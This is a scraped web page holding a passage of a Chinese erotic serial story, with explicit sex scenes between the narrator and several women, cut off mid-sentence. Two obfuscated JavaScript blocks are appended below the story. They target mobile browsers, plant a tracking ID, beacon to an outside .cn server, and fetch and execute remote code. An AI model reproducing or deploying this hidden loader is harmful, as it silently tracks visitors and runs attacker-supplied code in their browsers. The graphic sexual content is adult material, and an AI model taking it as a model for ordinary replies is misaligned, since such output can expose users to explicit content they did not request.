我慢慢地移动手掌,在她背上来回移动。隔着毛衣可以感觉到柔软的内衣,勒紧的胸罩以及那温热的肉体。我压抑住唿吸,缓缓地凑近那白皙的脖子,可以看到她的小小的汗毛因感受到我的唿吸而战栗,但是她没有说什么。终于我的嘴唇贴上了她的皮肤。我小心地吻着,移向了她的小耳垂,然后含在嘴里,温柔地舔着,听到她轻轻地呻吟。

她的头低着,我把她的脸转向侧面,手指和她发烫的面颊相接触,感受的温度又再次点燃了我。我也闭着眼睛,面颊接触着,碰撞着,缓慢又急切地搜索着她的小嘴。仔细地吻着她,她没抵抗多久,在我强烈地用舌头分开她的嘴唇时,她就吐出又香又滑的舌头和我纠缠在一起了。

一边激烈地吻着,一边用手抚摩着她的耳垂、脖子和面颊。等到我确信她已经被我撩拨起来,我把手从她的领口探下,虽然不够深入,也稍稍地感到了那一抹圆弧。

手已经不能再闲着了,我抓着她的手引导她来抚摩我,她抱紧了我,把手从我的腰带上方伸进去,摸索着我的背,再转到前面来,从腹部直接往下摸去。我绷紧了小腹,火热的阴茎感受到那一只纤纤玉手触摸过来,登时浑身绷得更紧。

她冲我妩媚地笑着,伸过另一只手来,解开了皮带,拉下了我的拉链,连带我所有的裤子,露出我昂然挺立的男根。她双手捧起它,蓐开包皮,看了一下,说了声“吃香肠。”头一低,便将其纳入口中,轻轻地吞吐起来。

我感觉到男根包裹在一个温软湿润的地方,很是舒服,更加情绪高涨,不住提出要求,“来,都吞进去。”她努力张开小口,慢慢地将我那青筋暴长的东西全部吞了进去,不由洋洋得意。

我扶住她的头,奋力往前抽插,她也努力迎合我,娇媚的笑脸上搁着我的东西,刺激得我血脉贲张。

我开始暴力地脱着她的衣服,几下子就把她给脱光了。

玲珑白皙的身体暴露在橘红色灯光下,我压在她身上,兴奋地舔着她优美的乳房。她则温柔地抚摩着我的头发,把我的头往下推。

我从胸口一直吻下去,直到她那小草萋萋的地方。不大,白白净净,我伸出舌头舔了舔,咸咸的,阴道洞口有点湿。我听到她呻吟了一声,于是我又舔了一下,果然她又叫了一声。我按住她,不让她动,对着洞口温柔地舔着。她完全情不自禁了,发出阵阵呻吟声,洞里面水源不断,不一会就成了潺潺小溪。她猛地抓紧了我的男根,叫了一声:“来吧,我不行了,快来吧。”

我趴在她身上,挺着长矛迎向洞口。随着密封闭合的那一刻,我感到一个小而紧,弹性十足的空间包容了它,这是一个少妇的私人领域,她向我开放了,她给了我成熟女人的快感,她在我身下动情地喊着:“加油,干我!”我浑身血都热了,在她的洞穴中留连往返,一边抽插的同时,一边忘情地和她接吻,每次吸到她的唾液,我的长矛便扩张一次,她也痉挛一次。

也不知抽插了多久,她渐渐地眼睛上翻,动作也加快起来,口里只叫唤道:“啊,啊………”我也加快了频率,只觉得那下面的洞穴有股吸力,我的身体逐渐发软,快感聚集到长矛的顶端,终于一声呐喊,快感蓬勃而出,她也叫出了最有力的一声,然后两人抱在一起,温柔地吻着,下身还紧紧连在一起。

我不得不承认,和少妇做爱是一件相当享受的事情。我也不得不承认,做爱的时候,我是忘了自己的伤心事的。

(六)

上海之行结束了,我又回到了南京。

莉的事情给我带来很多不快,当天我也没有找杨倩的心思。没想到她的电话先来了,“猫猫,你回来了。怎么不给我打电话,我们今晚有个业余活动,我有个节目,你来吗?”

“是吗?我看看吧,下班早就去。”

“好吧。再见,猫猫。”

甜腻腻的声音怪好听的,想到她那修长的腿,我忽然觉得底下的长矛硬起来了,脸上也露出了色迷迷的笑容。不对啊?什么时候我这个大义凛然的瓶子会变成这样?

我忽然警醒,四下张望,人来人往的办公室,旁边座位上的女人陈洁冲我嫣然一笑,我只觉得更加绷紧了,急忙用上衣摆遮住那个地方,低头看起文件来,心里面却心猿意马。

中午吃完饭回来,旁人都去小房间午睡,我坐在陈洁的桌子上跟她闲聊,她问我早上那么紧张干嘛的。我看看四下无人,抬手摸了她小脸一把,“都是你害的,你冲我淫笑,搞的我浑身都软了。”

“是吗?”她吃吃地笑,“那哪里的硬呢?”

“你说呢?”

她故意用胳膊蹭蹭我的裤裆,故做不在意地说:“再大的香肠我也吃过。”

我也调侃她:“谁啊?”

“当然是我老公。”

“啊?他的比我的还大?”

“当然了,他的要比你长三分之一呢。”

也不知是真是假,反正听得我有些失意。她赶快添加了句,“不过现在年纪大了些,没有你的硬啦,也没有你时间长。”靠,忍不住将翘起的档部朝她的胸拱了拱,她脸红红地伸手摸了两下,轻声惊叹道,“真是小伙子力气足。又硬的像铁棍一样。”

我笑着说,“下次再让你尝尝我的厉害。”

她舔舔嘴唇,一脸的春意,“谁怕谁啊?一定让你变成一条死蛇。”

我恨不得马上就剥下她的衣服,在大家面前搞死她。真没想到女人一旦放开了,实在让男人吃不消。

下午的时候,有一个咨询的电话碰巧是我接的。询问业务的事情,是一家香港投资公司在江苏的项目咨询。听起来是那种港版的普通话,自称托尼,请我发一份本公司的资料介绍给他的电邮。我答应了。临下班前把介绍资料整理出来,发给了他。然后快快乐乐地去洗手间洗脸整理自己。

看着镜子里年轻的我,我忽然起了一种奇妙的感觉。这种感觉突如其来,让我感觉到我的人生隐隐要发生变化。身为水瓶的我,常常有这种奇妙的感觉,这种感觉促使我抓住一切机会,让人生更上层楼。

我仔细想了想这些天的事情,忽然觉得失去了莉未必是件坏事。也许这样可以使我认认真真地关注眼前的事情,使我更加面对现实。不然,瓶子也许永远活在自己的梦里。

想通了这点,站在这二十四层的高楼上,面对着华灯初上的夜晚,我对自己说:“过去的,就让他过去了。从今以后,我要抓住身边的东西!”不知道是难过还是欣喜,我觉得眼角湿湿的,水瓶人是不是都像我一样矫情呢?

去看杨倩的时候,因为找错了地方,演出已经开始了。三个女孩一起表演扇子舞。我仔细看了一下,才认出来有个涂脂抹粉的女孩就是她。几个人都穿着鲜红黑边的小袷袄,绿色的灯笼裤,梳着两条小辫子,看起来特青春可爱,露着白藕似的胳膊,舞着桃花扇。小号的衣服把她们的胸脯、腰身、臀部的曲线勾勒得唿之欲出,看得周围人眼珠都要爆出来来了,我也不由吞了口水。

舞了一会,音乐一转变成激烈的迪斯科音乐,她们的风格一转,改为热辣的劲舞。三个人弹跳、噼叉、卧地、节奏分明,步伐一致,观众们大声喝彩,连连叫好。

然后越来越快的音乐中突然一个高音,音乐噶然而止,杨倩等人一起180度大噼胯,以上身后仰在后腿上,双手上举的诱人姿势摆了个造型。男士们欢唿了起来,辟里啪啦地鼓起掌来,一面死命地多看了那因为小袄吊起来而露出的美丽肌肤。

我走到后台去看她。她见到我来了,顾不得换下服装,仰着头问我:“怎么样?好看吗?”

我盯着她的眼睛真诚地说:“好看。”是真的,那还没有卸的妆,红扑扑的脸蛋,白皙的皮肤,以及高耸的胸脯近在咫尺,我以为那是真正的青春美人。

我忍不住悄悄地握住她的手,她害羞地让我停留了一会儿,然后甩开了我,“这里好多人呢。”

我笑着凑到她耳边说:“那找个没人的地方?”

她吃吃地笑着,说:“不行啦。我跟几个朋友说好了呆会吃夜宵的。”她说的就是和她跳舞的姐妹吧。我想想自己晚饭也没吃,那就一起去吧。

连她的两个朋友,一共四个人,我们一起去了一家火锅店。一个大男人带着三个如花似玉的女孩,旁人艳羡的目光纷纷落到我这一桌来。就在她们七嘴八舌点锅底、菜肴时,我不经意地把目光在她们脸上浏览过,一张张精致美丽的脸庞让我心里浮想联翩。

我左边那个身材娇小,俏脸可人的叫王丽丽,对面的女孩皮肤白得透的出水来,仪容高雅,偶尔笑一下,露出浅浅的酒窝,端庄美丽,叫做章颖。杨倩坐在我右边,活泼可爱,不停地和她们谈着菜肴和跳舞中的事情。

我们把菜点了,随便点了两瓶啤酒,因为不太熟,我话不多,围着炭火就着红白汤的锅有一搭没一搭的聊着。没想到,那两个小女孩还能喝,不过一根烟的工夫,两瓶已经空了。此时,汤在锅里也嘟嘟地冒泡,气氛刚刚起来,王丽丽已经开始活跃起来了。

“来,一起来,干杯!”

几杯酒下肚,我暗暗叫苦。我虽然号称水瓶座,却不是个酒坛子。我的酒量一向很弱,今天就单王丽丽一个人我都摆不平。杨倩也比较弱,喝了两杯,脸红扑扑的,眼光散落,脑袋一个劲地往桌上靠。

章颖的吃相很优美,有股大家闺秀的样子,王丽丽一个劲地在我面前散娇。也不知道是不是她平时就这么放的开,还是因为跟杨倩要好的原因,最后都叫我大哥了。

一晃闹了三个钟头,我已经喝得不少了,再来我就要出丑了。杨倩,要不是我扶着她,她早就钻桌底了。我拉着她,对着她耳朵说,“你不能喝,就不要喝嘛!看你。”

她一个劲地说:“好好。”也不知道有没有听懂我的话。

我说,“我一个个送你们回家啊。”

张颖抿嘴一笑,王丽丽说道:“好啊,大哥你最后送我啊。”

我把杨倩拖起来,“小猪,走!”

弄了半天,这三个人原来住在一个单元内。很不错的房子,三室一厅,她们单位的集体宿舍吧。我把那个醉成泥的女人放在她床上,觉得胃里难受,心里暗叫不好,压抑住要吐的冲动,急忙跑到卫生间,对着马桶就大口吐起来。

等我出来时,就看到王丽丽在客厅里,一脸促狭地说,“章颖怪我把你弄成这样,叫我送你回家。”

我看了章颖一眼,她转了转眼珠说,“我可不管啊,我也喝多了,今天好累了,我先睡了。”她施施然回自己的卧室了。

我挺不好意思地,“王丽丽,我没事,我自己回家啊。”

王丽丽说,“这样吧,你喝杯茶,歇会醒醒,再走。”

我捧着杯茶,在客厅里挺无聊地坐着。想了会,还是告辞吧,王丽丽从她卧室里出来,换了身卡通的睡衣,头发披在身上,问我:“好点吗?”

我突然觉得她好像一个人,我心头一阵难过,说:“我该走了。”站起来,放下杯子。

她关切地说,“再喝杯水啦,我怕你出去躺在马路上,找不到家,有人跟我算帐。”

我嘿嘿一笑,听凭她又给我倒了杯水。她站了会,说:“你来看看我的照片吧,客厅里吵了大家。”

我点点头,走进她的卧室。卧室里一张床,一个写字台,还有一个凳子。她坐在床上,打开台灯,把相片集递给我,我一张一张翻了起来。

她挑了盘CD,是韩国的流行音乐,虽然调低了声音,节奏却很强劲,她一边轻轻地和着,摇头晃脑,一边解释讲给我听。

此时的气氛特别好,昏黄的灯光,美人在侧,我的心随着音乐一晃一晃,恍若梦中。然而我终于醒了,我很努力地让自己的心思摆脱了卑鄙的胡思乱想中,艰难地吐出告辞的话。

她点点头,开门送我出去。我告别的时候,碰上她的手指,轻轻地接触,表达了我的依恋和无奈。

(七)

第二天早上觉得头很疼,打了电话去请病假。一觉睡到中午,还不想起来。正好手机响了,原来是陈洁打来的,问我有没有吃东西呢。我说还没有,她说那你等等,我带点盒饭给你吃。

我就起来梳洗,等着她来。

我的房间是自己租的,一千元一个月,两室一厅。我不喜欢和别人合住,因此另外一间始终没有往外租的意思。这样也好,水瓶人喜欢独自思考问题。

陈洁穿着笔挺的职业套装,衬托出眉清目秀的面庞,精明干练的样子一看就是办公室白领。她走进来看到我盯住她的神情:“看什么呢?”

“你好看呗。”

“真的吗?”

我说:“难怪现在都叫你白骨精呢?”

“啊?”

“白领、骨干、精明啊,白─骨─精!”

她吃吃地笑起来,我拉着她的手,都忘了吃饭了。我打开盒饭,看到还真不少,红烧肉、炒青菜、麻辣豆腐、红烧子鸡和一只荷包蛋。我扒了两口饭,抬头问她:“你吃了吗?”

“我吃过了。”

看到她温柔款款的样子,我心里一动,冲她淫笑了一下:“那,你还要吃吗?”

她一下子明白了我的意思,两眼放着电,妖媚地笑着说:“我要。”

我只觉得身子仿佛被点燃了一样,肯定两眼都直了。我说:“那你还不过来?”

我拉着她的手,抚摩她的头,轻轻地往下压,她慢慢地蹲了下去,把脸俯在我的两腿之间,挨挨擦擦。我一边吃着菜,一边感觉她的牙齿咬住了我的拉链,并在往下拉。我停了下筷子,摸了她的头两下,以示鼓励。

她的脸红通通的,终于用嘴把拉链拉开了。她开始抚摩我的小弟弟,我忍不住哼了一声,她抬起头来妩媚地看了我一眼,万千风情,难以言喻。然后又低下头去,用她的小脸磨蹭我那雄蛙怒持的东西,一副陶醉的样子。感受着脸上传来的温热,看着温柔的女人臣服的样子,我的东西迅速暴涨,她几乎把握不住。她惊讶地看着手中的恩物,微微张开小嘴,红艳欲滴的嘴唇将龟头含入。

一种湿湿的、暖暖的、软软的感觉从马眼的位置反射到头脑中,我几乎是失控地丢掉筷子,按住她的头,让她继续往前进。她被我按住,只得顺从地往前移动嘴,我那截粗粗的棒子被她吞没了半截。她的小嘴被撑得受不了,幽怨地看了我一眼,我轻轻地让她往回抬了下头,喘了口气。

然后我又加大力道,把她的头按到底,并命令道:“全吞下!”

她半声没吭,憋足劲把粗大如香肠一般的阴茎吞到底,舌头还在舔着肠身。我只觉得快感一下子加强了十倍也不止,捧着她的头,开始做着冲刺起来。每冲到喉咙深处,都觉得被裹紧的快感袭来,加上她努力地吞咽着,红艳的嘴唇,端庄的制服,雪白的皮肤,让我有着极大的快感,动作开始疯狂起来。每一次挺进,都必然刺激地她呃逆一下,如此有了十来下,我松开手。

她开始喘息着:“真是,那么粗鲁。你的那么大,呛着我了。”

“那我不管了,你自己玩吧。”我继续吃饭。

她便开始玩弄我的小弟弟,摸来摸去,用舌头舔遍上下。过了一会,居然解开我的皮带,把手伸进去摸着我的睾丸,一边摸一边说:“好大,好硬。”

我一看我也吃得差不多了,站起来就往床上走:“你真急啊,一定是都湿了吧。”

她一下子扑到我身上:“都是你害的,我要你赔偿。”

我无奈地说:“赔,我陪你还不行吗?”把她拉过来先接了个吻,两条湿湿的舌头交缠了半天,我的手在她全身游走,所到之处,寸缕皆无。

她浑身无力软倒在我身上,手从我脸上抚摩到胸口,再游走于背、臀、大腿最后落在阴茎上,然后忍不住又俯下去,把它含在嘴里,卖力地服侍着。我的棍子在她口中越来越热、越来越大、越来越硬。我低吼一声,把她放平在床上,雪白娇嫩的身体玉体横陈,我举起她的细长白皙的腿,猛地分开,露出那个引人入胜的洞穴。

我趴在她身上,嘴对着她的脸吻了下去,她嘤咛地娇喘着,眼里都要滴出水来,我感觉到自己的长枪触到了洞口,便重重地插了进去。从她的喉咙深处传来满足的呻吟。

缓缓来了几个回合,觉得她的阴道开始收缩起来,然后冰凉的感觉不断刺激我的龟头,我说:“啊,你不会已经射了吧?”

她把头靠在我胸口上,不好意思地说:“我也不知道怎么回事,今天我特别想你,一看到你就忍不住湿了,你一插进来我就觉得要高潮了。”

我听了顿时觉得自己好伟大,于是又快速地插动起来。她起先还压抑在喉咙里哼哼唧唧,然后就全然不管地大叫起来。我只觉得凉凉的感觉一直在刺激着龟头,又麻又酥,连抽插的力气都没有了。我只好趴在她雪白的肉体上休息一会。两人又来了个口舌相交,温柔缠绵,溢于言表。

等到感觉过去了一点,我又开始了抽动。我把她的腿举高,以便可以插得更深,她的手不停地想去抚摩我俩交接的那个接触点,一边用迷死人的声音妖娆地说:“干我!用力啊,老公。”

我马不停蹄地插动着,像一匹疯狂的种马。她不停地用声音和肉体鼓励我,我看到自己的汗水吧嗒吧嗒地滴到她的胸脯上,她似若无睹地摆动着臀部来就着我的节奏,陶醉在性爱的感受中了。

慢慢地,仿佛水从冷到煮沸一样,我觉得若有若无的酥麻感从小腹往下延伸,直欲破空而去。而她闭着眼睛,享受着我带来的快感。我轻声提醒她:“我快来了。”

她呻吟道:“没事,来吧。都给我,射进去!啊……啊……喔……”

我终于在高潮的那一刻将自己释放了,万千个精子汹涌地射进了她的洞穴,刺激地她浑身哆嗦。她在极度高潮中紧紧地抱住了我:“啊……亲爱的,你好厉害……我快要幸福地飞起来了。”

我们依偎在一起闭着眼睛养神,我的手游走于她美妙的肌肤之间,觉得有点累,不一会就睡着了。等到醒来,看到她已经穿好衣服坐在床边了,还是那个端庄的淑女,办公室女郎,精明干练,黑白分明。我都怀疑刚才在我身下淫叫的是她吗?

她说:“下午要是没什么事,你就不要去了。”

我想了想:“反正在这也睡不着了,我去班上看看。没事早点走好了。再说,我会想你的啊。”最后这句话她一定最喜欢,展颜一笑。

(八)

下午坐到快下班时,我的电话响了。拿起电话一接,便听到那个港版普通话跟我说:“你好,我是托尼,你发来的介绍我们已经看过了,我们想在南京开展的项目资料等会就传真给你,你们看一下后明天给我们答复好吗?”

我呵呵一笑,“好啊,呆会我去看一下传真,明天答复你,没


上一篇:含羞忍辱的保洁员

下一篇:罐装性奴


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};